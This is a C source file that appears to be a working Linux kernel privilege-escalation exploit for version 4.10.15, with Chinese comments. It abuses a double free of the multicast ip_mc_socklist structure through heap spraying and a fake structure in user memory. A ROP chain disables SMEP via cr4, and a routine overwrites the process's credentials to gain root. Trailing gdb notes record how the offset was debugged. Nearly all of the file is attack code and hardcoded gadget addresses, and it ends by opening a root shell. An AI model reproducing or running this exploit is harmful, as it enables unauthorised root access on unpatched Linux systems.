// gcc -static exp-smep.c -o exp-smep -lpthread
/* change: 
    1. find_get_pid & pid_task
    2. Heap_Spray_Addr
    3. ROP gadget:  Stack_Pivot_addr ...
    4. FAKE_RSP (跳转到 Stack_Pivot_addr 时 EAX 的值) 
不同点：
    （1）用到pivot_stack gadget来跳转到用户栈；
    （2）在EAX指向的用户空间布置ROP链，修改cr4并跳转到`get_root`；
    （3）堆喷射初始化函数和堆喷函数。
    （4）由于构造ROP链会损坏rbp的值，但是`get_root()`返回时需要把rbp给rsp，所以ROP链最开头需要保存rbp，然后在`get_root()`开头恢复rbp。（方法是通过rop链保存到rcx寄存器，在`get_root()`开头赋给rbp——`mov    %rcx, %rbp;`）
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/select.h>  
#include <arpa/inet.h>  
#include <netdb.h> 
#include <string.h> 
#include <unistd.h> 
#include <netinet/in.h> 
#include <fcntl.h> 
#include <time.h> 
#include <sys/types.h>
#include <pthread.h>
#include <net/if.h>
#include <errno.h>
#include <assert.h>
#include <sys/mman.h>
// --------
#include <sys/socket.h> 
#define Stack_Pivot_addr           0xffffffff8100008d    // 0xffffffff8100008d: xchg eax, esp; ret;
#define Heap_Spray_Addr            0x000000010000000a    // 0xcdab02ff    0x000000010000000a 0x000000010000002a
#define FAKE_RSP                   0x8100008d            // 0x813b5122

#define SPRAY_SIZE 1000			// 5000
#define HELLO_WORLD_SERVER_PORT    8088  // server 的端口号

unsigned long*  find_get_pid = (unsigned long*)0xffffffff810a4310;	// 0xffffffff81077220    4.10.15-0xffffffff810a4310
unsigned long*  pid_task     = (unsigned long*)0xffffffff810a4260;	// 0xffffffff81077180    4.10.15-0xffffffff810a4260

void *client(void *arg);
void get_root();
int pid=0;

void get_root() {
    asm(
        "mov    %rbx, %rbp;"
        "sub    $0x18,%rsp;"
        "mov    pid,%edi;"
        "callq  *find_get_pid;"
        "mov    %rax,-0x8(%rbp);"
        "mov    -0x8(%rbp),%rax;"
        "mov    $0x0,%esi;"
        "mov    %rax,%rdi;"
        "callq  *pid_task;"
        "mov    %rax,-0x10(%rbp);"
        "mov    -0x10(%rbp),%rax;"
        "mov    0x640(%rax),%rax;"
        "mov    %rax,-0x18(%rbp);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x4,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x8,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0xc,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x10,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x14,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x18,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x1c,%rax;"
        "movl   $0x0,(%rax);"
        "mov    -0x18(%rbp),%rax;"
        "add    $0x20,%rax;"
        "movl   $0x0,(%rax);"
        "nop;"
        "leaveq ;" 
        "retq   ;"
        );

}
// spray_init —— 堆喷初始化
int sockfd[SPRAY_SIZE];
void spray_init() {	
    struct sockaddr_in server_addr;
    struct group_req group;
    struct sockaddr_in *psin=NULL;

    memset(&server_addr,0,sizeof(server_addr));
    memset(&group,0,sizeof(group));

    bzero(&server_addr,sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_addr.s_addr = htons(INADDR_ANY);
    server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);

    psin = (struct sockaddr_in *)&group.gr_group;
    psin->sin_family = AF_INET;
    psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));

    for(int i=0; i<SPRAY_SIZE; i++) {
        if ((sockfd[i] = socket(PF_INET6, SOCK_STREAM, 0)) < 0) {      
           perror("[-] Socket");
           exit(errno);
        }

        setsockopt(sockfd[i], SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group));
    }
}
// heap_spray —— 堆喷
void heap_spray() {
    struct ip_mreq_source mreqsrc;
    memset(&mreqsrc,0,sizeof(mreqsrc));
    mreqsrc.imr_multiaddr.s_addr = htonl(inet_addr("10.10.2.224"));

    for(int j=0; j<SPRAY_SIZE; j++) {     
        setsockopt(sockfd[j], IPPROTO_IP, IP_ADD_SOURCE_MEMBERSHIP, &mreqsrc, sizeof(mreqsrc));
    }
}
// func_modify —— 子线程不断将 ip_mc_socklist 结构中的 func 指针修改为 get_root 函数地址
void *func_modify(void *arg){ 
        unsigned long fix_addr = Heap_Spray_Addr + 8*5;
        unsigned long fix_ebp_addr = Heap_Spray_Addr + 8*3;  // let ip_mc_leave_src not to use this value
        unsigned long func = Stack_Pivot_addr;
        while(1) {
            // *(unsigned long *)(fix_ebp_addr) = 0;   // 实际利用时，这里如果非0就会导致在二次释放前崩溃，但这里只要初始化好了，执行时不会被修改为非0值，所以不需要一直修改为0。
            *(unsigned long *)(fix_addr) = func;    
        }
}
// layout —— 用户空间地址开始布置伪造的 ip_mc_socklist 结构和ROP链(保存rbp到rbx，并关闭SMEP)
void layout(){
    unsigned long  fix_addr = Heap_Spray_Addr & 0xfffffffffffff000;
    unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024*100, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
    if (addr == MAP_FAILED){
        perror("Failed to mmap: ");
        return;
    }

    addr = (unsigned long *)Heap_Spray_Addr;
    unsigned long * addr1 = (unsigned long*)(fix_addr + 0x1000);
    unsigned long func = (unsigned long)Stack_Pivot_addr;

    addr[0] = (unsigned long)addr1;
    addr[1] = 0x0a0a02e0;
    addr[2] = 2;   // 0x00000002  0
    addr[3] = 0x0;
    addr[4] = 0x0;
    addr[5] = (unsigned long)func;
    addr1[0] = 0x0;
    addr1[1] = 0x0a0a02e0;
    addr1[2] = 2;  // 0x00000002  0
    addr1[3] = 0x0;
    addr1[4] = 0x0;
    addr1[5] = 0x0;

    unsigned long  fake_stack_fix = FAKE_RSP & 0xfffffffffffff000;     
    unsigned long* fake_stack_addr = (unsigned long *)mmap((void*)fake_stack_fix, 1024*2048, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
    if (fake_stack_addr == MAP_FAILED){
        perror("Failed to mmap: ");
        return ;
    }
    memset(fake_stack_addr,0,1024*2048);  
/*
0xffffffff8144886c: pop rdi; ret;
0xffffffff81273f53: pop rcx; ret;
0xffffffff81b2cfea: push rbp; jmp rdi;  // 失败 

0xffffffff811fb1ee: pop rsi; ret; 
0xffffffff81273f53: pop rcx; ret;
0xffffffff81b3fed3 : push rbp ; jmp rsi  // 失败  有问题，实际代码和ROP不同，需要在IDA中确定一下是否真的可用

0xffffffff8101c0a0: mov cr4, rdi; pop rbp; ret; 
*/
    unsigned long *fake_stack = (unsigned long *)FAKE_RSP ;           // change
    int count=0;
    fake_stack[count++] = 0xffffffff81467afc;     // 0xffffffff81467afc : push rbp ; pop rbx ; pop r12 ; pop r13 ; pop rbp ; ret
    fake_stack[count++] = 0; 
    fake_stack[count++] = 0;
    fake_stack[count++] = (unsigned long)fake_stack + 0x100;
    fake_stack[count++] = 0xffffffff8144886c;     // 0xffffffff8144886c: pop rdi; ret;
    fake_stack[count++] = 0x00000000000406f0;     
    fake_stack[count++] = 0xffffffff8101c0a0;     // 0xffffffff8101c0a0: mov cr4, rdi; pop rbp; ret; 
    fake_stack[count++] = (unsigned long)fake_stack + 0x100;
    fake_stack[count++] = (unsigned long)&get_root;
}

void exploit(){
        struct sockaddr_in server_addr;
        bzero(&server_addr,sizeof(server_addr));
        server_addr.sin_family = AF_INET;
        server_addr.sin_addr.s_addr = htons(INADDR_ANY);
        server_addr.sin_port = htons(HELLO_WORLD_SERVER_PORT);

        struct  group_req group = {0};
        struct sockaddr_in *psin;

        psin = (struct sockaddr_in *)&group.gr_group;
        psin->sin_family = AF_INET;
        psin->sin_addr.s_addr = htonl(inet_addr("10.10.2.224"));
// 1. 创建 server 端的 socket, 使内核创建 ip_mc_socklist 对象
        int server_socket = socket(PF_INET,SOCK_STREAM,0);
        if( server_socket < 0){
            printf("[Server]Create Socket Failed!");
            exit(1);
        }


        int opt =1;
        setsockopt(server_socket, SOL_IP, MCAST_JOIN_GROUP, &group, sizeof (group)); 	// 设置MCAST_JOIN_GROUP选项，主要是让内核创建 ip_mc_socklist 对象
        if( bind(server_socket,(struct sockaddr*)&server_addr,sizeof(server_addr))){
            printf("[Server]Server Bind Port : %d Failed!", HELLO_WORLD_SERVER_PORT); 
            exit(1);
        }   
        if ( listen(server_socket, 10) ) {
            printf("[Server]Server Listen Failed!"); 
            exit(1);
        }
// 2. 子线程创建 client 端 socket，并不断向服务端请求连接-connect
        pthread_t id_client;
        pthread_create(&id_client,NULL,client,NULL);

        spray_init();		// spray_init —— 初始化 PF_INET6 类型的socket，用于堆喷 ipv6_mc_socklist 对象
// 3. server 开始接收 client - accept, 复制 mc_list 指针
        struct sockaddr_in client_addr;
        socklen_t length = sizeof(client_addr);

        printf ("[Server]accept..... \n"); 
        int new_server_socket = accept(server_socket,(struct sockaddr*)&client_addr,&length);  		// accept —— 开始和客户端连接，复制 mc_list 指针
        if ( new_server_socket < 0){
            close(server_socket);
            perror("[Server]Server Accept Failed!\n");
            return;
        }

// 4. 用户空间地址`0x10000000a`处布置伪造的 `ip_mc_socklist` 结构和ROP链（地址是执行到`xchg gadget`时EAX的值，ROP负责保存rbp到rbx，并关闭SMEP），子线程不断修改 func 指针（内核会修改func指针，导致劫持失败）
        layout();
        /*
        unsigned long  fix_addr = 0xcdab0000;	// 用户空间 0xcdab0000 处布置伪造的 ip_mc_socklist 结构

        unsigned long * addr = (unsigned long *)mmap((void*)fix_addr, 1024, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS , -1, 0);
        if (addr == MAP_FAILED){
            perror("Failed to mmap: ");

            return;
        }

        addr = (unsigned long *)0x00000000cdab02ff;
        unsigned long func = (unsigned long)&get_root;


        addr[0] = 0x0;
        addr[1] = 0x0a0a02e0;
        addr[2] = 0x00000002;
        addr[3] = 0x0;
        addr[4] = 0x0;
        addr[5] = func;
*/
        pthread_t id_func;
        pthread_create(&id_func,NULL,func_modify,NULL); // 子线程不断修改 func 指针
// 5. 关闭 accept 创建的 socket, 堆喷射篡改 ip_mc_socklist->next_rcu 指针, 关闭服务端 socket
        printf ("[Server]close server accept socket \n");
        close(new_server_socket);
        sleep(3);

        heap_spray();			// 开始进行堆喷

        printf ("[Server]close server socket \n");
        close(server_socket);

        sleep(1);
        printf(" current uid is : %d \n", getuid());
        printf(" current euid is : %d \n", geteuid());

        system("/bin/sh");
}
// client —— 创建客户端，和server端连接
void *client(void *arg){
	printf("[+] client connect ... \n");
    struct sockaddr_in client_addr;
    bzero(&client_addr,sizeof(client_addr));
    client_addr.sin_family=AF_INET;
    client_addr.sin_addr.s_addr=htons(INADDR_ANY);
    client_addr.sin_port=htons(0);
    int client_socket=socket(AF_INET,SOCK_STREAM,0);
    if(client_socket<0){
        printf("[Client]Create socket failed!\n");
        exit(1);
    }
    if(bind(client_socket,(struct sockaddr*)&client_addr,sizeof(client_addr))){
        printf("[Client] client bind port failed!\n");
        exit(1);
    }
    struct sockaddr_in server_addr;
    bzero(&server_addr,sizeof(server_addr));
    server_addr.sin_family=AF_INET;
    if(inet_aton("127.0.0.1",&server_addr.sin_addr)==0){
        printf("[Client]Server IP Address error\n");
        exit(0);
    }
    server_addr.sin_port=htons(HELLO_WORLD_SERVER_PORT); 		// 端口号
    socklen_t server_addr_length=sizeof(server_addr);
    if(connect(client_socket,(struct sockaddr*)&server_addr,server_addr_length)<0){
        printf("[Client]cannot connect to 127.0.0.1!\n");
        exit(1);
    }
    printf("[Client]Close client socket\n");
    close(client_socket);

    return NULL;

}

int main(int argc,char* argv[]) {   
        printf("pid : %d\n", getpid());
        printf("get_root: %p\n", &get_root);
        pid = getpid();
        exploit();

        return 0;
}

/*
Linux-v4.10.15
1.查看 申请 ip_mc_socklist 结构处
/exp $ cat /tmp/kallsyms | grep ip_mc_join_group
ffffffff81836e00 T ip_mc_join_group

查看两次释放ip_mc_socklist结构的地方
/ $ cat /tmp/kallsyms | grep ip_mc_drop_socket
ffffffff818387e0 T ip_mc_drop_socket
gdb-peda$ x /50i 0xffffffff818387e0
   0xffffffff81838867 <ip_mc_drop_socket+135>:  
    call   0xffffffff810f1280 <kfree_call_rcu>

2. shellcode修改 cred 失败，可能是 cred 相对于 task_struct 结构首地址的偏移找的有问题
gdb-peda$ x /50i 0x00000000004009ce
   0x4009ce:    push   rbp
   0x4009cf:    mov    rbp,rsp
   0x4009d2:    sub    rsp,0x18
   0x4009d6:    mov    edi,DWORD PTR ds:0x6dbbf0
   0x4009dd:    call   QWORD PTR ds:0x6da090
   0x4009e4:    mov    QWORD PTR [rbp-0x8],rax
   0x4009e8:    mov    rax,QWORD PTR [rbp-0x8]
   0x4009ec:    mov    esi,0x0
   0x4009f1:    mov    rdi,rax
   0x4009f4:    call   QWORD PTR ds:0x6da098
   0x4009fb:    mov    QWORD PTR [rbp-0x10],rax
   0x4009ff:    mov    rax,QWORD PTR [rbp-0x10]
   0x400a03:    mov    rax,QWORD PTR [rax+0x640]
=> 0x400a0a:    mov    QWORD PTR [rbp-0x18],rax
   0x400a0e:    mov    rax,QWORD PTR [rbp-0x18]
   0x400a12:    add    rax,0x4
   0x400a16:    mov    DWORD PTR [rax],0x0
   0x400a1c:    mov    rax,QWORD PTR [rbp-0x18]
   0x400a20:    add    rax,0x8
   0x400a24:    mov    DWORD PTR [rax],0x0
   0x400a2a:    mov    rax,QWORD PTR [rbp-0x18]
   0x400a2e:    add    rax,0xc
   0x400a32:    mov    DWORD PTR [rax],0x0
   0x400a38:    mov    rax,QWORD PTR [rbp-0x18]
   0x400a3c:    add    rax,0x10
   0x400a40:    mov    DWORD PTR [rax],0x0
   0x400a46:    mov    rax,QWORD PTR [rbp-0x18]
   0x400a4a:    add    rax,0x14
   0x400a4e:    mov    DWORD PTR [rax],0x0
   0x400a54:    mov    rax,QWORD PTR [rbp-0x18]
   0x400a58:    add    rax,0x18
   0x400a5c:    mov    DWORD PTR [rax],0x0
   0x400a62:    mov    rax,QWORD PTR [rbp-0x18]
   0x400a66:    add    rax,0x1c
   0x400a6a:    mov    DWORD PTR [rax],0x0
   0x400a70:    mov    rax,QWORD PTR [rbp-0x18]
   0x400a74:    add    rax,0x20
   0x400a78:    mov    DWORD PTR [rax],0x0
   0x400a7e:    nop
   0x400a7f:    leave  
   0x400a80:    ret   
gdb-peda$ 
Warning: not running or target is remote
0x0000000000400a16 in ?? ()
gdb-peda$ 
Warning: not running or target is remote
0xffffffff818c8103 in page_fault () at arch/x86/entry/entry_64.S:1011
1011	trace_idtentry page_fault	do_page_fault		has_error_code=1


在 0x4009fb 处查看获取的 task_struct 结构具体是什么？
gdb-peda$ ni
Warning: not running or target is remote
0x00000000004009fb in ?? ()
gdb-peda$ i r
rax            0xffff88001fa5b500	0xffff88001fa5b500

gdb-peda$ p/x &(*(struct task_struct *)0)->cred				// 所以 cred成员相对于task_struct结构首地址相差 0x640, 需修改
$2 = 0x640
gdb-peda$ p *(struct task_struct*) 0xffff88001fa39a80

*/


